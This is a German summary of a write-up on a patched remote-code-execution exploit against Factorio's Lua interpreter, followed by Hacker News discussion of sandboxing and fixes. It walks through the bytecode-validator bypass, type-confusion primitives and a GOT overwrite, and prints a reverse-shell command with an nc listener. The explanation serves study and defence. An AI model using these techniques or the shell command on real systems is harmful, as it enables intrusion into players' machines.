- Eine Schwachstelle in Factorios Lua-Implementierung ermöglichte es einem bösartigen Server, beliebigen Code auf verbundenen Clients auszuführen; betroffen waren bereits gepatchte Versionen unter 1.1.101
- Da der Mehrspielermodus in einem deterministischen Lockstep-Verfahren denselben Lua-Code ausführt, konnte ein Angreifer die Schwachstelle über eine bösartige Custom Map auf dem Netzwerkpfad auslösen
- Im Zentrum des Problems standen die durch
load/loadstringim Modulbaseerlaubte Bytecode-Ausführung sowie einOff-By-Oneund fehlende Typprüfungen im Factorio-eigenen Validator - Der Exploit ließ über eine
FORLOOP-Typverwechslung Adressen durchsickern und verwechselte anschließend durch Manipulation von Upvalue-IndizesLClosureundTString, um Fake Objects sowie primitives Lesen und Schreiben zu konstruieren - Die Linux-RCE ersetzte die
ldexp-Adresse in der GOT durchsystemund missbrauchte einen Aufruf vonmath.ldexp; wegen Factorios Struktur-Offsets und Unterschieden im%a-Format waren zusätzliche Anpassungen nötig
Umfang der Schwachstelle und Lua-Expositionspfad
- Eine Schwachstelle in Factorios Lua-Implementierung ermöglichte es einem bösartigen Server, beliebigen Code auf Clients auszuführen; betroffen waren Factorio-Versionen unter 1.1.101
- Lua wird in Factorio für Spiellogik, Mods und Custom Maps verwendet
- Mods sind im Spiel oder über Factorio Mods erhältlich
- In der Modding-Community gibt es Tausende Mods, einige davon mit mehr als 500.000 Downloads
- Auf den ersten Blick wirkt es wie ein lokaler Angriff, bei dem man eine bösartige Mod direkt installieren müsste; wegen der Synchronisationsmethode im Mehrspielermodus ist der Lua-Interpreter jedoch dem Netzwerkpfad ausgesetzt
- Factorios Mehrspielermodus verwendet deterministischen Lockstep
- Nicht der Spielzustand selbst, sondern nur die Eingaben der Nutzer werden über das Netzwerk übertragen
- Das Spiel aller Spieler muss jeden Tick identisch simulieren
- Wenn ein Spieler Lua-Code ausführt, müssen die übrigen Spieler zur Synchronisierung denselben Code ausführen
- Es gibt zwei Wege, über die ein Angreifer Lua-Code ausführen lassen kann
- Bei vorhandenen Berechtigungen Lua-Code auf dem Server per
/c-Befehl ausführen - Eine Custom Map mit Lua-Code erstellen, die Clients beim Verbinden mit dem Server ausführen
- Bei vorhandenen Berechtigungen Lua-Code auf dem Server per
- Wenn ein bösartiger Server im Server-Browser sichtbar ist, kann ein Ablauf entstehen, bei dem Opfer die Map herunterladen und den Lua-Code ausführen
Gesamter Angriffsablauf
- Der Angriff beginnt damit, dass ein Factorio-Server eine bösartige Map bereitstellt
- Der Exploit ist im Szenario-Lua-Code der Map enthalten
- Wenn ein Client dem Server beitritt, lädt er die Map herunter und führt den zugehörigen Lua-Code aus
- Anschließend werden Schwächen der Lua-Implementierung genutzt, um ein Fake Object zu konstruieren
- Fake Objects ermöglichen Speicherlecks und Speicherbeschädigung
- Dadurch lassen sich mehrere Primitive erzeugen, die zur Codeausführung führen können
- In dynamischen Sprachen sind Fake Objects ein zentrales Mittel, mit dem Angreifer starke Kontrolle erlangen
- Strings können zum Leaken beliebiger Daten genutzt werden
- Arrays oder Tabellen können zum Schreiben in beliebigen Speicher genutzt werden
- Gibt es einen Pfad zum Aufruf nativer Funktionen, kann dies zur Kontrolle des Ausführungsflusses führen
Lua-Bytecode-Ausführung und Validator-Probleme
- Die in Factorio enthaltenen Lua-Module sind eingeschränkt
debug: Zugriff auf Debug-Funktionenmath: Standard-C-Mathematik-Interfacebit32: Bitoperationenstring: String-Manipulationtable: Tabellen-Manipulationbase: Lua-Kernfunktionen wieprint
- Offensichtlich gefährliche Module wie
os.executefehlen, aberloadundloadstringaus dem Modulbaseerlauben Bytecode-Ausführung und bieten damit eine große Angriffsfläche - Lua kompiliert Quellcode zunächst zu Lua-Bytecode und führt ihn dann im Interpreter aus
- Bytecode ist kein CPU-Maschinencode, sondern eine Repräsentation, die nur der Lua-Interpreter ausführen kann
- Wenn Bytecode direkt injiziert werden kann, lässt sich fehlerhafter Bytecode ausführen, den der normale Compiler nicht erzeugen würde
- Die Lua-Entwickler kannten das Risiko beliebiger Bytecode-Ausführung und erstellten einen Validator, entfernten ihn jedoch in Lua 5.2
- Auf der Lua-Mailingliste wurde festgehalten, dass der bestehende Validator wiederholt umgangen wurde und Anwendungen, die beliebigen Lua-Code ausführen, besser keine precompiled scripts akzeptieren sollten
- Die Factorio-Entwickler scheinen in Lua 5.2.1 einen eigenen Bytecode-Validator implementiert zu haben
- Die Schutzlogik konzentrierte sich darauf, klare OOB-Parameter wie Sprünge aus dem Code heraus oder Indizes außerhalb des Konstanten-Arrays zu verhindern
- Wegen der Semantik einiger Opcodes gab es ein
Off-By-One-Problem; bei der Verarbeitung von Sprung-Offsets wieJMP 0konnte aus dem Codeblock heraus gesprungen werden - Da der Konstantenbereich hinter dem Code-Chunk alloziert werden kann, konnte ein Angreifer Bytecode in der Konstantensektion speichern und ihn per Off-by-One-Sprung unter Umgehung der Prüfung ausführen
Adressleck: FORLOOP-Typverwechslung
- Interne Lua-Objekte werden als
TValuedargestelltTValuebesteht aus dem WertebereichValueund dem Typfeldtt_Valueist ein 8-Byte-Bereich und wird je nach Typ als double oder als Pointer interpretiert
- Zahlen in Lua 5.2 werden vollständig als double dargestellt
- Zahlen können ohne Pointer-Indirektion inline in der
Value-Union gespeichert werden - Wenn ein String-Pointer wie eine Zahl interpretiert wird, können die Pointer-Bits als double-Wert offengelegt werden
- Zahlen können ohne Pointer-Indirektion inline in der
- In normalem Lua kann
print(function)eine Adresse ausgeben, in Factorio wurde dies jedoch entfernt; auch String-Adressen lassen sich nicht direkt leaken - Der Loop-Opcode
FORLOOPmuss normalerweise aufFORPREPfolgenFORPREPprüft, ob Startwert, Grenzwert und Step Zahlen sind- Innerhalb von
FORLOOPwird der Typ des Step-Parameters nicht geprüft;lua_assert-basierte Checks werden in Standard-Builds nicht erzwungen
- Ein Angreifer kann den Bytecode so manipulieren, dass
FORPREPentfernt und nurFORLOOPausgeführt wird- Dadurch wird per Bytecode eine Situation konstruiert, die der Compiler aus normalem Lua-Quellcode nicht erzeugen würde
- Platziert man ein Objekt wie einen String an der Step-Position, wird der Pointer dieses
TValuewie ein double interpretiert und geleakt
- Der geleakte Wert ist kein normaler double, sondern die als double interpretierten Pointer-Bits und erscheint daher als kleiner Wert wie
2.1944577826691e-317- IEEE 754 binary64 besteht aus 1 Vorzeichenbit, 11 Exponentenbits und 52 Mantissenbits
- Wenn ein Pointer-Wert wie ein denormalized double aussieht, lässt sich der ursprüngliche Wert aus der Mantisse rekonstruieren
- Lua 5.2 hat kein pack/unpack und keinen Integer-Typ, was die Umwandlung erschwert
- Zunächst wurden mit
string.format("%.13a", double)Mantisse und Exponent gelesen, um den Pointer wiederherzustellen - Ein beispielhafter Leak wurde zum Pointer
0x43d6c0rekonstruiert; die tatsächlichen String-Daten liegen 24 Byte hinter demTString-Header
- Zunächst wurden mit
Upvalue-Manipulation und LClosure-Typverwechslung
- Upvalues sind der Mechanismus, mit dem Lua auf Variablen außerhalb des aktuellen Funktions-Scopes zugreift
- Die Upvalue-Informationen im Bytecode enthalten Index, Name, ob es sich um eine Stack-Position handelt, und den Stack-Index
- Ein Angreifer kann die im Bytecode enthaltenen Upvalue-Indizes ändern
- Ändert man einen Upvalue-Index, kann statt der ursprünglichen lokalen Variablen ein anderes
TValueauf dem Stack referenziert werden- Im Beispiel wurde der
target-Upvalue-Index um eins erhöht, sodass er auf dieLClosureder aktuellen Funktion zeigte - Der manipulierte Bytecode gab statt
nilLClosure: 0x...aus
- Im Beispiel wurde der
- In Lua ist die tatsächliche Ausführungseinheit einer Funktion in Prototype und Closure aufgeteilt
Protodient als Funktions-Template mit Bytecode, Konstanten, Quellzeilen, Upvalue-Informationen usw.LClosurewird zur Laufzeit erzeugt und verbindetProtomit der Upvalue-Liste
- Der Opcode
CLOSUREerstellt eine neue Lua-Closure, legt sie auf den Stack und initialisiert die Upvalues- Bei drei lokalen Variablen kann die neue
LClosurebeibase + 3liegen - Wenn der Upvalue-Index auf
3geändert wird, lässt sich dasLClosure-TValuean dieser Position greifen
- Bei drei lokalen Variablen kann die neue
- Wenn eine innere Funktion die
LClosureder äußeren Funktion mit einem String überschreibt, versucht Lua nach der Rückkehr, den String wie eineLClosurezu verwenden, und stürzt ab- Die Typprüfung im
OP_RETURN-Pfad hängt vonlua_assertab und wird in der Standardkonfiguration nicht erzwungen - Dadurch kann
cldes aktuellen Ausführungs-Frames nicht auf eine echteLClosure, sondern auf einen vom Angreifer kontrolliertenTStringzeigen
- Die Typprüfung im
- Durch die Layout-Unterschiede zwischen
TStringundLClosureüberlappt der Nutzdatenbereich des Strings mit den Positionen vonProto *pundUpval **upval- Durch diese Typverwechslung lassen sich der Function-Prototype-Pointer und der Upvalue-Array-Pointer kontrollieren
- Zeigen sie auf einen kontrollierbaren Speicherbereich, lassen sich Fake Objects erstellen
Fake Objects und Lese-/Schreibprimitive
- Für die Erzeugung von Fake Objects gibt es zwei Hauptpfade
- Einen Pfad, bei dem ein Fake-
Protoauf ein Fake-TValue-Array zeigt - Einen Pfad, bei dem ein Fake-
UpVal-Array auf ein Fake-TValuezeigt
- Einen Pfad, bei dem ein Fake-
- Der Konstantenpfad wurde gewählt, weil er weniger Padding hat und Konstanten in einer Funktion erneut verwendet werden können
- Fake-
TString - Ein
TValue-Array, das auf den Fake-TStringzeigt - Ein
Proto, das auf das Fake-TValue-Array zeigt - Eine
LClosure, die auf das Fake-Protozeigt
- Fake-
- Ein Fake-
TStringkann als Leseprimitive verwendet werden, indem seine Länge beliebig groß gesetzt wird- Lua-String-Daten werden als hinter dem
TString-Header liegend angenommen - Mit
str:sub()kann Speicher gelesen werden, der in Reichweite des Fake-Strings liegt - Da Lua-String-Indizes bei 1 beginnen, ist bei der Header-Berechnung eine Korrektur um 1 Byte nötig
- Lua-String-Daten werden als hinter dem
- Die Schreibprimitive funktioniert, indem ein Fake-
UpValauf dasTValueder Zieladresse zeigt- Weist man einer Lua-Variablen eine Zahl zu, wird an dieser Stelle ein Zahlen-
TValuegeschrieben - Da Zahlen in den ersten 8 Byte des
TValueinline gespeichert werden, lässt sich der Wertebereich kontrollieren - Gleichzeitig werden in die nächsten 8 Byte Typinformationen geschrieben, wodurch auch umgebender Speicher beschädigt werden kann
- Weist man einer Lua-Variablen eine Zahl zu, wird an dieser Stelle ein Zahlen-
- Weil Lua-Zahlen doubles sind, ist eine Umwandlung nötig, um ein gewünschtes Integer-Bitmuster zu schreiben
- Dafür wird die kleinste Einheit eines denormalized double,
2^-1074, genutzt - Ein Integer wird in die double-Repräsentation codiert als
integer_to_double(integer) = integer * 2^-1074
- Dafür wird die kleinste Einheit eines denormalized double,
Kontrolle des Instruktionszeigers und ASLR-Umgehung
- Lua-
Light C Functionspeichert den Funktionspointer inline in einemTValue- Der Funktionstyp ist
LUA_TFUNCTION, undLight C Functionwird durch den Wert22fürLUA_TLCFdargestellt - Legt man
0xdeadbeefin den Wertebereich desTValueund22in den Typbereich, kann die Adresse wie eine Funktion aufgerufen werden
- Der Funktionstyp ist
- Der Aufruf einer Fake-
Light C Functionermöglicht die Kontrolle des Instruction Pointer- Im Beispiel wird
RIPzu0xdeadbeefund es kommt zum Crash - Danach kann dies zu Techniken zur Änderung des Ausführungsflusses wie einer ROP chain führen
- Im Beispiel wird
- Dass
Light C Function-Pointer inline gespeichert sind, ist auch für Adresslecks nützlich- Wenn Lua-Funktionen als light C functions implementiert sind, kann eine Adressleck-Primitive Funktionsadressen wie die von
printlesen - Damit lässt sich eine Basisadresse berechnen, die zum Umgehen von ASLR nötig ist
- Wenn Lua-Funktionen als light C functions implementiert sind, kann eine Adressleck-Primitive Funktionsadressen wie die von
- Wenn sandboxed Functions weiterhin im Binary vorhanden sind, ist auch eine Umgehung möglich, bei der die Fake Function auf diese Adresse zeigt und sie aufruft
Anpassungen für Factorio
- Die ersten Tests wurden mit dem offiziellen Lua-Interpreter durchgeführt, doch Factorios Lua-Implementierung hat ein anderes Struktur-Layout
- Factorios GC-Objekt
CommonHeaderenthält zusätzlich einenprevious-Pointer- Offizielles Lua hat die Struktur
next,tt,marked - Factorio scheint die Struktur
previous,next,tt,markedzu verwenden
- Offizielles Lua hat die Struktur
- Durch diesen Unterschied verschieben sich einige Offsets um jeweils 8 Byte
- Der
TString-Header ist nicht 24 Byte, sondern 32 Byte groß - Die Berechnung der Adresse des String-Inhalts und der relativen Adressen der Leseprimitive mussten korrigiert werden
- Auch bei der Berechnung des Fake-
UpValund der Fake Closure musste der zusätzliche Pointer berücksichtigt werden
- Der
- In Factorio verhielt sich auch das
%a-Format anders als in den Tests mit dem offiziellen Luastring.format("%.13a", 2.1038461432219e-316)lieferte nicht das erwartete0x0.000000289c130p-1022, sondern eine Form wie0xa.2704c00000000p-1052- Dadurch brach die double-Rekonstruktion auf Basis des String-Formats
- Die endgültige Umwandlung wurde auf eine rein numerische Methode umgestellt
- Denormalized-Werte kann man so betrachten, dass alle Integer beim niederwertigsten Bit rechts beginnen
- Der geleakte Wert wird mit
double_to_number(double) = double * 2^52 * 2^1022rekonstruiert 2^1074lässt sich nicht als double darstellen, daher wird die Multiplikation in zwei Schritte aufgeteilt
Linux-RCE: GOT-Austausch und math.ldexp
- Der unter Linux gewählte RCE-Pfad nutzt statt einer ROP chain einen GOT-Austausch
- Es wird eine imported function gesucht, die aus Lua aufrufbar ist und deren erstes Argument kontrolliert werden kann
- Der GOT-Eintrag dieser Funktion wird mit der Adresse von
systemüberschrieben - Die Funktion wird aus Lua aufgerufen, sodass sie wie
system(command)wirkt
- Innerhalb der eingeschränkten Lua-Bibliotheken von Factorio eignete sich
math.ldexpals Funktion- Intern ruft sie
ldexp(luaL_checknumber(L, 1), luaL_checkint(L, 2))auf - Eine GDB-Prüfung zeigte, dass das zweite Lua-Argument als erstes Registerargument
RDIdes libc-Aufrufs übergeben wurde
- Intern ruft sie
- Die GOT liegt vor dem Heap und ist mit der bestehenden Leseprimitive über Fake-Strings schwer direkt zu lesen
- Die Leseprimitive kann nur Adressen hinter dem Fake-String-Header lesen
- Ein writable segment vor der GOT wurde genutzt, um vor der GOT einen Fake-
TStringzu konstruieren
- Erstellt man vor der GOT einen Fake-
TString, kann man libc-Funktionsadressen lesen und ASLR umgehen- Im Beispiel wurde die Adresse von
memcpyaus der GOT gelesen - Mit den Offsets von libc 2.38 unter Fedora 39 wurde
libc_base = memcpy - 0x138b80,system = libc_base + 0x2a3b0berechnet
- Im Beispiel wurde die Adresse von
- Anschließend wurde der GOT-Eintrag von
ldexpmit der Adresse vonsystemüberschrieben- In den Beispieladressen wurde
0x289ef00als GOT-Eintrag vonldexpverwendet - Er wurde in der Form
write(0x289ef00, system)überschrieben
- In den Beispieladressen wurde
Befehlsausführung und finale Remote-Shell
- Zunächst sollte der Befehl in einem Lua-String gespeichert und per
math.ldexp(0, addr_of(cmd) + 32)aufgerufen werden- Der Befehl hatte die Form
sh -c "sh -i >& /dev/tcp/127.0.0.1/9001 0>&1 &" - Weil Lua
ldexpjedoch mit einem 32-Bit-Parameter aufrief, wurden die oberen Bits der String-Adresse abgeschnitten und der Versuch schlug fehl
- Der Befehl hatte die Form
- Die Umgehung bestand darin, den Befehls-String direkt in das writable segment des Binaries zu schreiben, das zuvor zum Erstellen des Fake-Strings genutzt worden war
- Da PIE nicht aktiviert war, war die Adresse des Haupt-Binaries klein genug
- Der Befehls-String wurde mit mehreren
write()-Aufrufen in die Nähe von Adresse0x289c150geschrieben
- Der Aufruf
math.ldexp(0, 0x289c150)verhält sich nach dem GOT-Austausch wie ein Aufruf vonsystem(0x289c150) - Das finale Ergebnis wurde durch eine Shell bestätigt, die sich mit einem lokalen
nc -lvp 9001-Listener verband- Der Shell-Prompt lautete
sh-5.2$ - Das Ergebnis von
whoamiwarvictim
- Der Shell-Prompt lautete
Übungs-Challenge und Referenzen
- Am Ende des Artikels wird eine browserbasierte Challenge angeboten, bei der man aus dem Lua-Interpreter ausbricht und eine JavaScript-Funktion ausführt, die nicht direkt aus Lua-Code aufrufbar ist
- Challenge: Escape from Alcawasm
- Zugehörige Referenzlinks
- Hintergrund zur Entfernung des Lua-Bytecode-Validators: Wayback-Kopie der lua-l-Mailingliste
- Factorio-Lua-Validator-Code: Factorio Lua
- Lua-Zahlenimplementierung: Programming In Lua: Numbers
- Lua-Closures: Programming in Lua: Closures
- Erklärung des
%a-Formats: GNU libc Floating-Point Conversions - Referenz zu einem Lua-5.1-Windows-Exploit: Exploiting Lua 5.1 on 32-bit Windows
1 Kommentare
Hacker-News-Kommentare
Unerwartet
Ich hätte gedacht, dass Lua, da es Bytecode interpretiert, prüfen kann, ob Befehlsargumente sinnvoll sind. Zum Beispiel, ob sie auf von Lua allozierten Speicher zeigen.
Tatsächlich war das aber nicht der Fall, und Bytecode mit ungültigen Argumenten wird einfach ausgeführt. Der weitere Kompromittierungsablauf ergibt sich dann daraus.
Außerdem ist geplant, statt den Interpreter zu reparieren, den Bytecode statisch zu analysieren; das scheint nur in einfachen Fällen zu funktionieren.
Für eine sandbox-freundliche Interpreter-Sprache ist das ziemlich enttäuschend, und ich frage mich, ob sie einen Patch akzeptieren würden, der den Interpreter so ändert, dass er Eingaben nicht vertraut. Sie scheinen Performance-Einbußen zu befürchten, aber wenn die schnelle Option LuaJIT ist, wirkt das fragwürdig.
Dieser Ansatz wirkt sinnvoll, weil er die Option lässt, vertrauenswürdigen Bytecode direkt zu laden, ohne dynamische Prüfungen in den Interpreter einzubauen, die alle Nutzer betreffen würden.
Lua bietet konstruktionsbedingt keine Terminierungsgarantie und auch keine gute Möglichkeit, nicht vertrauenswürdige Programme zwangsweise zu beenden. Wenn man nicht vertrauenswürdige Lua-Eingaben annimmt, muss man davon ausgehen, dass das Programm auf unbestimmte Zeit hängen bleiben kann.
Lua eignet sich hervorragend für halbvertrauenswürdige Eingaben, die zumindest eine minimale Due Diligence durchlaufen haben, etwa aus dem Internet heruntergeladener Code. Selbst wenn der Code tatsächlich bösartig ist, lässt sich der Schaden stark begrenzen, aber nicht vollständig beseitigen.
Wenn man vollständig nicht vertrauenswürdige Eingaben im JavaScript-Stil braucht, ist Luau, der Roblox-Fork, die richtige Wahl: https://luau-lang.org/sandbox
Wie andere Sprachen gezeigt haben, ist es nicht trivial, einen sicheren Interpreter für Bytecode zu bauen. Es ist auch ein Kompromiss, um die Referenzimplementierung einfach zu halten.
Beim Ausführen von Drittanbieter-Code würde ich den meisten dieser Interpreter nicht vertrauen. Wenn man bedenkt, wie viel F&E-Budget und Aufmerksamkeit Webbrowser bekommen, vertraue ich selbst Browsern nur gerade so.
Das ist so, als würde man keinen beliebigen Maschinencode ausführen.
Luau hat dieselbe Eigenschaft, aber Roblox leidet ja auch nicht ständig unter Sandbox-Ausbrüchen, oder?
Ich wünschte, solche Dinge wären klarer definiert oder dokumentiert. Man ist in der Situation, selbst herausfinden zu müssen, welche Sprache vernünftigerweise als sicher garantiert werden kann.
Zum Beispiel gibt es den Standardfall, dass statischer Code vom Nutzer selbst ausgeführt wird; das ist der Fall, um den sich normale Sprachen, einschließlich Lua, üblicherweise kümmern.
Dann gibt es den Fall, dass Code im Rahmen eines Updates dynamisch empfangen und ausgeführt wird, aber nur über offizielle Kanäle. Hier kann man vielleicht davonkommen, wenn man den Prozess absichert, aber sicher ist das nicht.
Es gibt auch den Fall, dass Nutzer Code als Plugin hinzufügen können und ihn mit einem Klick aus einem Store einfach installieren können. Plugins können zwar geprüft werden, aber das passiert fast nie ordentlich; daher muss man abwägen, ob eine Sandbox nötig ist oder ob Nutzer vorsichtig sein müssen.
In Multiplayer-Spielen gibt es auch den Fall, dass nur der Server per Plugin erweitert wird, der Client aber nicht. Dabei muss man berücksichtigen, dass Gamer, die Server betreiben, aktiv viele verschiedene Plugins ausprobieren, und die Plugin-Community kann ebenfalls deutlich riskanter sein.
Schließlich gibt es Multiplayer-Spiele wie Browser, bei denen der Server beliebigen Code auf dem Client ausführen kann. In diesem Fall muss man besonders mit der clientseitigen Sandbox sehr vorsichtig sein, weil Gamer beliebigen Servern beitreten, ohne über die Sicherheitsauswirkungen nachzudenken.
Factorio ist genau dieser letzte Fall. Ich bin nicht unbedingt dagegen, dass Entwickler das bewerten müssen, aber zum Beispiel ist nicht immer offensichtlich, dass Luas Funktion
loadunsicheren beliebigen Bytecode ausführen kann.Ehrlich gesagt wusste ich nicht, dass Lua-Bytecode unsicher ist; ich wusste, dass LuaJIT-Bytecode unsicher ist. Diese Tatsache scheint aber nur verstreut in Mailinglisten oder GitHub-Issues als Selbstverständlichkeit erwähnt zu werden.
Es gibt auch das Problem, dass ein Server den Client zum Stillstand bringen kann. Dafür reicht eine Endlosschleife. Das ist allerdings viel schwerer zu vermeiden, und vielleicht ist es sogar sinnlos, es vermeiden zu wollen.
Clientseitig gab es keine Option, den Browser abzuschalten, und soweit ich weiß, haben die Entwickler die Funktion schließlich vollständig deaktiviert; wie der aktuelle Stand ist, weiß ich aber nicht sicher.
Das zeigt, wie komplex Spiele und Game Engines geworden sind. An Stellen, an denen es kaum einen offensichtlichen Grund dafür gibt, steckt ein eingebetteter Webbrowser.
Hinter Factorio steht ein wirklich gutes Entwicklerteam, daher glaube ich, dass sie ihr Bestes tun, um solche Probleme zu beheben. Allerdings hat Spieleentwicklung insgesamt stark den Charakter kreativer Arbeit, sodass Dinge wie Code-Praktiken oder Sicherheit offenbar nach hinten rücken.
Ich frage mich, wie viele Zero-Day-Schwachstellen in Spiele-Clients und -Servern verborgen sind.
Flatpak kann als Ausgangspunkt hilfreich sein. Container sind zwar keine starke Sicherheitsgrenze, können aber einfache Exploits abwehren.
Das ist nicht nur eine simple geschäftliche Entscheidung, um die Nutzung offizieller Online-Dienste zu erzwingen. Wenn man Verbindungen zu Server-IPs von Drittanbietern verhindert, können selbst schwerwiegende Bugs im Netzwerk-Code oder im Rest des Spiels niemals ausgenutzt werden. Wenn man Mods einschränkt, sogar „sichere“ Mods wie solche in Lua, lassen sich weitere Exploits verhindern.
Fehlerhafter Netzwerk-Code hat historisch schon bei mehreren Konsolen das DRM zu Fall gebracht.
Abgesehen von Exploits rühmen sich Konsolen auch damit, dass Code vor der Verteilung geprüft wird. Lua-Ausführung von entfernten Systemen zu erlauben bedeutet, dass ein Spiel auch nach der Freigabe durch den Entwickler selbst remote rekonfiguriert werden kann, und Konsolenhersteller wollen das ohne sehr genaue Prüfung nicht zulassen.
Idealerweise isoliert man das Ganze in einer virtuellen Maschine, aber die Einrichtung einer Gaming-VM ist extrem umständlich und kann bei manchen Spielen mit Anti-Cheat zum Ausschluss führen.
Wenn man bedenkt, wie dringend andere Bereiche Leute brauchen, die gut programmieren können, ist es fast schade, dass erfahrene Leute in der Spielebranche arbeiten.
Allgemein ist Programmverifikation extrem schwierig, nicht nur wegen des Satzes von Rice. Besonders bei einer nichttrivialen Bytecode-Sprache wie Lua entstehen sehr leicht blinde Flecken. Wasm hat zum Beispiel kein Konzept einer for-Schleife.
Es ist merkwürdig, dass die Factorio-Entwickler versucht haben, den Verifier zu reparieren oder selbst zu schreiben, nachdem das Upstream-Projekt dieses Problem als zu schwierig aufgegeben hatte.
Die Funktion
loadstringvon Minetest verbietet Bytecode vollständig: https://github.com/minetest/minetest/blob/9a1501ae89ffe79c38...Ich frage mich, warum Factorio-Mods die Fähigkeit brauchen, rohen Lua-Bytecode auszuführen. Wenn sie sie nicht brauchen, wäre auch kein Verifier nötig gewesen.
Lua-Code auszuführen, der über das Netzwerk heruntergeladen wurde, ist von vornherein ziemlich riskant. JavaScript-Laufzeitumgebungen haben jahrzehntelang einen Zyklus aus Exploit-Funden und -Fixes durchlaufen. Bei Lua gibt es das auch, aber in kleinerem Maßstab und mit weniger Personal zur Verbesserung der Sicherheit.
Die wichtigste Schutzmaßnahme könnte sein, dass es weniger Leute gibt, die bösartige Spieleserver betreiben.
Aus ähnlichen Sicherheitsgründen wurde auch fast die gesamte Debug-Bibliothek für Mods unzugänglich gemacht.
loadstring()-Funktion entfernen müssen.Es gibt zum Beispiel einen Beitrag der ROBLOX-Entwickler von vor 12 Jahren: https://archive.is/oXPyM
Ehrlich gesagt wäre es besser, das standardmäßig zu deaktivieren. Legitimen Bedarf gibt es nur in ziemlich speziellen Nischen.
Außerdem ist es ziemlich einschränkend, Software zu bauen, die man in einer Turing-vollständigen Umgebung nicht einfach ausführen kann.
Jedenfalls braucht man wirklich einen Interpreter mit einem starken Berechtigungssystem.
Wenn man sich aber damit zufriedengibt, nur einen Teil der Eingaben zu akzeptieren, die die tatsächlichen Anforderungen erfüllen, ist der Satz von Rice erledigt. Dann bleibt statt einer unmöglichen Aufgabe nur noch eine extrem schwierige Aufgabe übrig.
Selbst wenn man scheitert, kann es ein Trost sein, dass man sich zumindest nicht anhören muss, es sei unmöglich gewesen.
Factorio hätte diesen Weg nicht einschlagen sollen.
Eine totale Anfängerfrage, aber ich frage mich, warum Spiele Lua verwenden und nicht etwa eingebettetes JavaScript mit einer definierten Schnittstelle wie einer API zur Anpassung des Spielzustands.
Man könnte von den viel stärkeren Härtungsmaßnahmen profitieren, die in die Isolierung der Browser-Umgebung geflossen sind. Browser sind schwierig, sehr gut getestet und ein Ziel, in das viel Geld fließt.
Auch in Performance-Optimierungen für dynamische Typisierung ist enorm viel Arbeit geflossen.
Und wenn Mods eine UI brauchen, gibt es Canvas; wenn man ein DOM-ähnliches Modell bereitstellt, wäre potenziell auch etwas wie React möglich.
Lua wurde speziell für die Integration entwickelt, daher gibt es viel Material dazu und eine große Community dahinter.
Außerdem verwechselst du gängige Browser-APIs mit JavaScript. Eine JavaScript-Engine stellt weder Canvas noch DOM bereit. V8 zum Beispiel tut das auch nicht; solche Dinge müsstest du selbst hinzufügen.
Ich bin zwar kein Security-Entwickler, aber ich möchte pflichtschuldig sagen: „Wow, das ist wirklich beeindruckend!“ Es ist kaum zu glauben, wie klar und logisch man denken muss, um einen so komplexen Fehlerfall nachzuverfolgen. Das ist definitiv nicht meine Stärke; ich bin viel eher der „Ideen-Mensch“
Inhaltlich glaube ich, dass wir völlig erledigt sind, sobald eine Truppe von AI Software Engineers auftaucht, die mit 10.000 Blogposts über das Finden solcher seltsamen Memory-Exploits ausgestattet ist
Am Ende brauchen wir meiner Ansicht nach ein völlig neues Paradigma für Sicherheit, oder zumindest ein neues Element im Stack. Das Gerede über moderne „vertrauenswürdige“ Clients oder DB-Rollen fühlt sich an, als würde man Löcher in Schweizer Käse flicken
Hoffentlich können wir einfach eine weitere, von LLMs verwaltete Schicht Schweizer Käse oben drauflegen
Also, zeigt das nicht einen Exploit, der auf Bytecode-Loading beruht, einer Funktion, die als missbrauchbar beworben wurde? Was übersehe ich?
jmpoder das Problem, dass der Lua-Interpreter alles, was ihm in die Hände fällt, als Instruktion interpretieren willEr hat sogar versucht, Datenbereiche zu interpretieren, die der Verifier gar nicht anfasst
loadstringdie Ausführung beliebigen Bytecodes möglich seinIch bin wirklich froh, dass so fähige Leute auf der guten Seite stehen
Nachrichtenmedien bringen einen dazu, das Gegenteil zu glauben, und die durchschnittlichen Kommentare unter solchen Nachrichten verstärken diesen Glauben noch, aber wenn das wirklich so wäre, wie könnten dann die vielen Annehmlichkeiten sowie medizinischen und sozialen Unterstützungsprogramme existieren, die wir genießen
Das heißt nicht, dass es keine Probleme auf der Welt gibt, aber es gibt eindeutig viel mehr konstruktive Menschen als destruktive
Ich komme gerade aus einem HN-Thread zu den Panama Papers, deshalb ist mir dieser Gedanke besonders präsent. Dort herrschte eine zynische Stimmung, als seien alle Reichen böse und alle völlig einer Strafverfolgung entkommen, aber einige Kommentare haben gut herausgestellt, dass beides in Wirklichkeit nicht stimmt. Man muss nur etwas weiter im Thread lesen und sich nicht vom Zynismus mitreißen lassen
Ich finde, Lua-Bytecode sollte außerhalb von Embedded Systems, denen die Ressourcen fehlen, um den Lua-Quellcode-Parser laufen zu lassen, niemals verwendet werden
Abgesehen von Sicherheitslücken scheint mir der einzige sinnvolle Anwendungsfall proprietäre Closed-Source-Programme zu sein
Vielleicht habe ich es übersehen, und ich gebe zu, dass ich den hinteren Teil nur überflogen habe, aber der Autor scheint überhaupt nicht darauf einzugehen, welche Mitigationsmaßnahmen tatsächlich umgesetzt wurden. Darüber würde ich gern mehr hören
1.1.104: https://github.com/Rseding91/Factorio-Lua/commit/4d924b69808...
und 1.1.107: https://github.com/Rseding91/Factorio-Lua/commit/ce12474c7fc...
Der relevanteste Teil ist die Änderung an
luaB_loadin 1.1.104, mit der Bytecode-Loading schlicht deaktiviert wurde